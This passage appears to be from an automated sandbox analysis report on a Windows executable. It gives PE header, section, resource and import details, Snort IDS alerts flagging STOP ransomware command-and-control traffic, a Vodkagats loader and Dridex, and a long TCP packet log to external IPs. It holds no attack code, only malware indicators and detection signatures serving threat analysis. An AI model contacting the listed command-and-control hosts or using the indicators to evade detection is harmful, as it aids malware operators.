IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa0d68	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9f000	0x188	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9df32	0x9e000	False	0.9569462643393988	data	7.9433536441249535	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9f000	0x32dc	0x3400	False	0.3643329326923077	data	5.290494686172896	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa3000	0x41fbbc	0x1800	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4c3000	0x7df8	0x7e00	False	0.48235987103174605	data	4.821891126402144	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x4c33c0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Spanish	Paraguay	0.4312366737739872
RT_ICON	0x4c4268	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Spanish	Paraguay	0.5523465703971119
RT_ICON	0x4c4b10	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Spanish	Paraguay	0.5841013824884793
RT_ICON	0x4c51d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Spanish	Paraguay	0.6098265895953757
RT_ICON	0x4c5740	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Spanish	Paraguay	0.4447095435684647
RT_ICON	0x4c7ce8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Spanish	Paraguay	0.49530956848030017
RT_ICON	0x4c8d90	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Spanish	Paraguay	0.524822695035461
RT_STRING	0x4c9470	0x42a	data	Spanish	Paraguay	0.4540337711069418
RT_STRING	0x4c98a0	0x340	data	Spanish	Paraguay	0.47836538461538464
RT_STRING	0x4c9be0	0x4b8	data	Spanish	Paraguay	0.445364238410596
RT_STRING	0x4ca098	0x45c	data	Spanish	Paraguay	0.45698924731182794
RT_STRING	0x4ca4f8	0x402	data	Spanish	Paraguay	0.4756335282651072
RT_STRING	0x4ca900	0x4f6	data	Spanish	Paraguay	0.4440944881889764
RT_ACCELERATOR	0x4c9260	0x40	data	Spanish	Paraguay	0.890625
RT_ACCELERATOR	0x4c92a0	0x30	data	Spanish	Paraguay	0.9583333333333334
RT_GROUP_ICON	0x4c91f8	0x68	data	Spanish	Paraguay	0.6826923076923077
RT_VERSION	0x4c92d0	0x19c	data			0.5752427184466019

Imports

DLL	Import
KERNEL32.dll	LoadResource, UpdateResourceA, CreateJobObjectW, SetComputerNameW, GetComputerNameW, CreateHardLinkA, GetConsoleAliasesLengthA, GetWindowsDirectoryA, GlobalFindAtomA, LoadLibraryW, GetConsoleMode, GetVersionExW, DnsHostnameToComputerNameW, EnumResourceLanguagesA, CreateFileW, GetVolumePathNameA, InterlockedExchange, OpenMutexW, GetLastError, SetLastError, GetStringTypeA, GetProcAddress, VirtualAlloc, BeginUpdateResourceW, RemoveDirectoryA, WriteConsoleA, InterlockedExchangeAdd, LocalAlloc, FindFirstVolumeMountPointW, AddAtomW, GetCommMask, GetModuleHandleA, FindFirstChangeNotificationA, GetWindowsDirectoryW, GetCurrentProcessId, OpenFileMappingA, SuspendThread, lstrcpyA, BackupRead, HeapCompact, InterlockedIncrement, InterlockedDecrement, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, RaiseException, RtlUnwind, HeapFree, GetModuleHandleW, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, TerminateProcess, GetCurrentProcess, IsDebuggerPresent, HeapAlloc, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, HeapSize, HeapReAlloc, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, GetLocaleInfoA, MultiByteToWideChar, GetStringTypeW, LoadLibraryA, InitializeCriticalSectionAndSpinCount, LCMapStringA, WideCharToMultiByte, LCMapStringW
USER32.dll	CharLowerBuffA
GDI32.dll	GetDeviceGammaRamp

Possible Origin

Language of compilation system	Country where language is spoken	Map
Spanish	Paraguay

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.4175.120.254.949737802020826 01/10/24-15:49:11.206932	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49737	80	192.168.2.4	175.120.254.9
192.168.2.4175.120.254.949737802036333 01/10/24-15:49:11.206932	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49737	80	192.168.2.4	175.120.254.9
192.168.2.4190.12.87.6149734802020826 01/10/24-15:49:05.292715	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49734	80	192.168.2.4	190.12.87.61
192.168.2.4175.120.254.949735802833438 01/10/24-15:49:07.513555	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49735	80	192.168.2.4	175.120.254.9
192.168.2.4190.12.87.6149734802036333 01/10/24-15:49:05.292715	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49734	80	192.168.2.4	190.12.87.61
192.168.2.4175.120.254.949741802833438 01/10/24-15:49:14.423155	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49741	80	192.168.2.4	175.120.254.9
192.168.2.4175.120.254.949733802833438 01/10/24-15:49:01.933782	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49733	80	192.168.2.4	175.120.254.9
192.168.2.4175.120.254.949755802833438 01/10/24-15:49:20.115894	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49755	80	192.168.2.4	175.120.254.9

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2024 15:48:57.836381912 CET	49729	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:48:57.836471081 CET	443	49729	104.21.65.24	192.168.2.4
Jan 10, 2024 15:48:57.836565018 CET	49729	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:48:57.850845098 CET	49729	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:48:57.850881100 CET	443	49729	104.21.65.24	192.168.2.4
Jan 10, 2024 15:48:58.061281919 CET	443	49729	104.21.65.24	192.168.2.4
Jan 10, 2024 15:48:58.061568022 CET	49729	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:48:58.153580904 CET	49729	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:48:58.153620958 CET	443	49729	104.21.65.24	192.168.2.4
Jan 10, 2024 15:48:58.154114962 CET	443	49729	104.21.65.24	192.168.2.4
Jan 10, 2024 15:48:58.154186010 CET	49729	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:48:58.158390999 CET	49729	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:48:58.205921888 CET	443	49729	104.21.65.24	192.168.2.4
Jan 10, 2024 15:48:58.559375048 CET	443	49729	104.21.65.24	192.168.2.4
Jan 10, 2024 15:48:58.559443951 CET	49729	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:48:58.559468031 CET	443	49729	104.21.65.24	192.168.2.4
Jan 10, 2024 15:48:58.559505939 CET	49729	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:48:58.559514046 CET	443	49729	104.21.65.24	192.168.2.4
Jan 10, 2024 15:48:58.559549093 CET	49729	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:48:58.559601068 CET	443	49729	104.21.65.24	192.168.2.4
Jan 10, 2024 15:48:58.559664011 CET	49729	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:48:58.562851906 CET	49729	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:48:58.562865019 CET	443	49729	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:00.074265003 CET	49730	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:00.074353933 CET	443	49730	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:00.074455023 CET	49730	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:00.099917889 CET	49730	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:00.099941969 CET	443	49730	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:00.305129051 CET	443	49730	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:00.305210114 CET	49730	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:00.310290098 CET	49730	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:00.310308933 CET	443	49730	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:00.310787916 CET	443	49730	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:00.310844898 CET	49730	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:00.313093901 CET	49730	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:00.353905916 CET	443	49730	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:00.692692995 CET	49731	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:00.692733049 CET	443	49731	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:00.692797899 CET	49731	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:00.706275940 CET	49731	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:00.706301928 CET	443	49731	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:00.846946955 CET	443	49730	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:00.847008944 CET	49730	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:00.847031116 CET	443	49730	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:00.847065926 CET	49730	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:00.847065926 CET	443	49730	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:00.847114086 CET	49730	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:00.847796917 CET	49730	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:00.847815990 CET	443	49730	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:00.924279928 CET	443	49731	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:00.924374104 CET	49731	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:01.018666029 CET	49731	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:01.018696070 CET	443	49731	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:01.019762993 CET	443	49731	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:01.019870043 CET	49731	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:01.027612925 CET	49731	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:01.069910049 CET	443	49731	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:01.423235893 CET	443	49731	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:01.423382044 CET	49731	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:01.423405886 CET	443	49731	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:01.423449039 CET	49731	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:01.423454046 CET	443	49731	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:01.423489094 CET	49731	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:01.423553944 CET	443	49731	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:01.423600912 CET	49731	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:01.424329996 CET	49731	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:01.424345016 CET	443	49731	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:01.647543907 CET	49732	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:01.650557041 CET	49733	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:01.930798054 CET	80	49732	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:01.930902004 CET	49732	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:01.931242943 CET	49732	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:01.933444023 CET	80	49733	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:01.933511972 CET	49733	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:01.933782101 CET	49733	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:02.214819908 CET	80	49732	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:02.214912891 CET	49732	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:02.215003967 CET	49732	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:02.217243910 CET	80	49733	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:02.217312098 CET	49733	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:02.217375994 CET	49733	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:02.498047113 CET	80	49732	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:02.499908924 CET	80	49733	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:05.100308895 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:05.292340040 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:05.292447090 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:05.292715073 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:05.484806061 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:07.210966110 CET	49735	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:07.256144047 CET	49736	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:07.513056040 CET	80	49735	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:07.513183117 CET	49735	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:07.513555050 CET	49735	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:07.563569069 CET	80	49736	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:07.563669920 CET	49736	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:07.564172029 CET	49736	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:07.815987110 CET	80	49735	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:07.816148996 CET	49735	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:07.816291094 CET	49735	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:07.871041059 CET	80	49736	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:07.871303082 CET	49736	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:07.879318953 CET	49736	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:08.118551970 CET	80	49735	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:08.186058044 CET	80	49736	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:09.182790041 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.182862043 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.182948112 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.182982922 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.386729956 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.386795998 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.386833906 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.386868000 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.390212059 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.390273094 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.390300989 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.390508890 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.578254938 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.578290939 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.578386068 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.578479052 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.578479052 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.578479052 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.578509092 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.578545094 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.583065987 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.583123922 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.583158970 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.583199024 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.583266020 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.583301067 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.583375931 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.583410025 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.769857883 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.769961119 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.770004034 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.770092964 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.770092964 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.770121098 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.770148993 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.770195961 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.770210981 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.770241022 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.770303965 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.770418882 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.770476103 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.770495892 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.770539045 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.773417950 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.773473024 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.773547888 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.773592949 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.773735046 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.773782015 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.773814917 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.773852110 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.774311066 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.774363995 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.774408102 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.774463892 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.774532080 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.774589062 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.774641037 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.774692059 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.961199999 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.961263895 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.961301088 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.961301088 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.961364031 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.961407900 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.961545944 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.961604118 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.961638927 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.961694956 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.961801052 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.961850882 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.962641954 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.962678909 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.962724924 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.962724924 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.962786913 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.962830067 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.962863922 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.962914944 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.962949038 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.962997913 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.963165045 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.963205099 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.963227034 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.963258028 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.963654995 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.963718891 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.963757992 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.963810921 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.964142084 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.964186907 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.964201927 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.964232922 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.964929104 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.964966059 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.964986086 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.965008974 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.965156078 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.965205908 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.965313911 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.965361118 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.966274023 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.966332912 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.967046976 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.967102051 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.967140913 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.967191935 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.967226028 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.967273951 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.967339993 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.967391014 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:09.967430115 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:09.967480898 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.153137922 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.153202057 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.153239012 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.153259993 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.153278112 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.153290987 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.153353930 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.153395891 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.153419971 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.153459072 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.153491020 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.153532028 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.153722048 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.153767109 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.153820992 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.153852940 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.153915882 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.153955936 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.154000998 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.154040098 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.154088974 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.154133081 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.154153109 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.154191971 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.154223919 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.154263020 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.154294014 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.154340029 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.154357910 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.154397011 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.154417992 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.154448986 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.154673100 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.154721022 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.154736996 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.154776096 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.154915094 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.154954910 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.154988050 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.155025959 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.155070066 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.155107975 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.155595064 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.155639887 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.155685902 CET	80	49734	190.12.87.61	192.168.2.4
